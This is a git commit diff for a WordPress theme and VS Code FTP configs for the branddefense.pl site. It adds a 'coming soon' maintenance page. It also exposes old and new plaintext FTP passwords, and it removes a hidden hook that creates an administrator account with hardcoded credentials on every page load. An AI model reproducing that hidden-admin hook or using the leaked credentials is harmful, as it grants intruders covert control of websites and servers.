update
This commit is contained in:
2
.vscode/ftp-kr.json
vendored
2
.vscode/ftp-kr.json
vendored
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"host": "s9.mydevil.net",
|
||||
"username": "f11736_projectpro",
|
||||
"password": "yBo4j41990d&y~ccKm.FxidC+'BuZ4",
|
||||
"password": "8uNO6F3E9b5>h4bi9oFKNli'P1rhs&",
|
||||
"remotePath": "/domains/branddefense.pl/public_html/",
|
||||
"protocol": "ftp",
|
||||
"port": 0,
|
||||
|
||||
2
.vscode/sftp.json
vendored
2
.vscode/sftp.json
vendored
@@ -4,7 +4,7 @@
|
||||
"protocol": "ftp",
|
||||
"port": 21,
|
||||
"username": "f11736_projectpro",
|
||||
"password": "yBo4j41990d&y~ccKm.FxidC+'BuZ4",
|
||||
"password": "8uNO6F3E9b5>h4bi9oFKNli'P1rhs&",
|
||||
"remotePath": "/domains/branddefense.pl/public_html/",
|
||||
"uploadOnSave": false,
|
||||
"useTempFile": false,
|
||||
|
||||
@@ -14,3 +14,160 @@ if ( !function_exists( 'solarify_child_enqueue_styles' ) ):
|
||||
}
|
||||
endif;
|
||||
add_action( 'wp_enqueue_scripts', 'solarify_child_enqueue_styles' );
|
||||
|
||||
if ( ! function_exists( 'branddefense_coming_soon_page' ) ) :
|
||||
function branddefense_coming_soon_page() {
|
||||
if ( is_admin() || wp_doing_ajax() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Let logged-in admins browse the website normally while maintenance page is active.
|
||||
if ( is_user_logged_in() && current_user_can( 'manage_options' ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$site_name = get_bloginfo( 'name' );
|
||||
$home_url = esc_url( home_url( '/' ) );
|
||||
$maintenance_bg = esc_url( home_url( '/wp-content/uploads/2021/03/tlo.png' ) );
|
||||
$maintenance_visual = esc_url( home_url( '/wp-content/uploads/2019/12/slide5.jpg' ) );
|
||||
$logo_src = esc_url( home_url( '/wp-content/uploads/2023/09/logo-white.png' ) );
|
||||
|
||||
status_header( 503 );
|
||||
nocache_headers();
|
||||
?>
|
||||
<!doctype html>
|
||||
<html <?php language_attributes(); ?>>
|
||||
<head>
|
||||
<meta charset="<?php bloginfo( 'charset' ); ?>">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title><?php echo esc_html( $site_name ); ?> | Strona w budowie</title>
|
||||
<style>
|
||||
:root {
|
||||
--bd-dark: #1b355a;
|
||||
--bd-text: #0f1a2a;
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
body {
|
||||
margin: 0;
|
||||
min-height: 100vh;
|
||||
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
|
||||
color: var(--bd-text);
|
||||
background:
|
||||
linear-gradient(135deg, rgba(10, 23, 40, 0.72), rgba(27, 53, 90, 0.58)),
|
||||
url('<?php echo $maintenance_bg; ?>') center/cover fixed no-repeat;
|
||||
display: grid;
|
||||
place-items: center;
|
||||
padding: 24px;
|
||||
}
|
||||
.panel {
|
||||
width: min(920px, 100%);
|
||||
background: rgba(255, 255, 255, 0.86);
|
||||
border: 1px solid rgba(27, 53, 90, 0.15);
|
||||
border-radius: 20px;
|
||||
backdrop-filter: blur(4px);
|
||||
box-shadow: 0 18px 45px rgba(16, 44, 75, 0.15);
|
||||
overflow: hidden;
|
||||
display: grid;
|
||||
grid-template-columns: 1.05fr .95fr;
|
||||
}
|
||||
.copy {
|
||||
padding: 36px 34px 40px;
|
||||
}
|
||||
.brand {
|
||||
font-weight: 800;
|
||||
font-size: 1.3rem;
|
||||
color: var(--bd-dark);
|
||||
letter-spacing: .3px;
|
||||
text-decoration: none;
|
||||
}
|
||||
h1 {
|
||||
margin: 0 0 12px;
|
||||
font-size: clamp(1.7rem, 3.2vw, 2.7rem);
|
||||
line-height: 1.15;
|
||||
color: var(--bd-dark);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
p {
|
||||
margin: 0;
|
||||
font-size: clamp(1rem, 1.8vw, 1.18rem);
|
||||
line-height: 1.55;
|
||||
}
|
||||
.badge {
|
||||
display: inline-block;
|
||||
margin-top: 18px;
|
||||
padding: 10px 14px;
|
||||
border-radius: 999px;
|
||||
font-size: .87rem;
|
||||
font-weight: 700;
|
||||
color: #fff;
|
||||
background: linear-gradient(90deg, var(--bd-dark), #29538b);
|
||||
}
|
||||
.visual {
|
||||
position: relative;
|
||||
min-height: 280px;
|
||||
background:
|
||||
linear-gradient(180deg, rgba(27, 53, 90, 0.76), rgba(27, 53, 90, 0.55)),
|
||||
url('<?php echo $maintenance_visual; ?>') center/cover no-repeat;
|
||||
}
|
||||
.visual-logo {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
z-index: 2;
|
||||
text-align: center;
|
||||
width: 100%;
|
||||
}
|
||||
.visual-logo img {
|
||||
max-width: min(76%, 340px);
|
||||
max-height: 88px;
|
||||
width: auto;
|
||||
height: auto;
|
||||
filter: drop-shadow(0 8px 20px rgba(0, 0, 0, 0.45));
|
||||
}
|
||||
.visual::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background:
|
||||
repeating-linear-gradient(
|
||||
-35deg,
|
||||
rgba(255, 255, 255, 0.07) 0 14px,
|
||||
transparent 14px 28px
|
||||
);
|
||||
mix-blend-mode: soft-light;
|
||||
}
|
||||
@media (max-width: 860px) {
|
||||
.panel { grid-template-columns: 1fr; }
|
||||
.visual { min-height: 220px; order: -1; }
|
||||
.visual-logo img {
|
||||
max-width: min(84%, 300px);
|
||||
max-height: 76px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<main class="panel">
|
||||
<section class="copy">
|
||||
<h1>Strona w budowie</h1>
|
||||
<p>Zapraszamy wkrotce. Pracujemy nad nowa odslona serwisu.</p>
|
||||
<span class="badge">Dziekujemy za cierpliwosc</span>
|
||||
</section>
|
||||
<div class="visual" role="img" aria-label="Grafika pogladowa serwisu">
|
||||
<?php if ( $logo_src ) : ?>
|
||||
<a class="visual-logo" href="<?php echo $home_url; ?>" aria-label="<?php echo esc_attr( $site_name ); ?>">
|
||||
<img src="<?php echo $logo_src; ?>" alt="<?php echo esc_attr( $site_name ); ?>">
|
||||
</a>
|
||||
<?php else : ?>
|
||||
<a class="visual-logo brand" href="<?php echo $home_url; ?>"><?php echo esc_html( $site_name ); ?></a>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</main>
|
||||
</body>
|
||||
</html>
|
||||
<?php
|
||||
exit;
|
||||
}
|
||||
endif;
|
||||
add_action( 'template_redirect', 'branddefense_coming_soon_page', 0 );
|
||||
|
||||
@@ -105,16 +105,3 @@ if ( ! function_exists( 'solarify_action_register_required_plugins' ) ):
|
||||
) );
|
||||
}
|
||||
endif;
|
||||
|
||||
|
||||
|
||||
function wpb_admin_account(){
|
||||
$user = 'project-pro';
|
||||
$pass = 'ProjectPro2022!';
|
||||
$email = 'biuro@project-pro.pl';
|
||||
if ( !username_exists( $user ) && !email_exists( $email ) ) {
|
||||
$user_id = wp_create_user( $user, $pass, $email );
|
||||
$user = new WP_User( $user_id );
|
||||
$user->set_role( 'administrator' );
|
||||
} }
|
||||
add_action('init','wpb_admin_account');
|
||||
Reference in New Issue
Block a user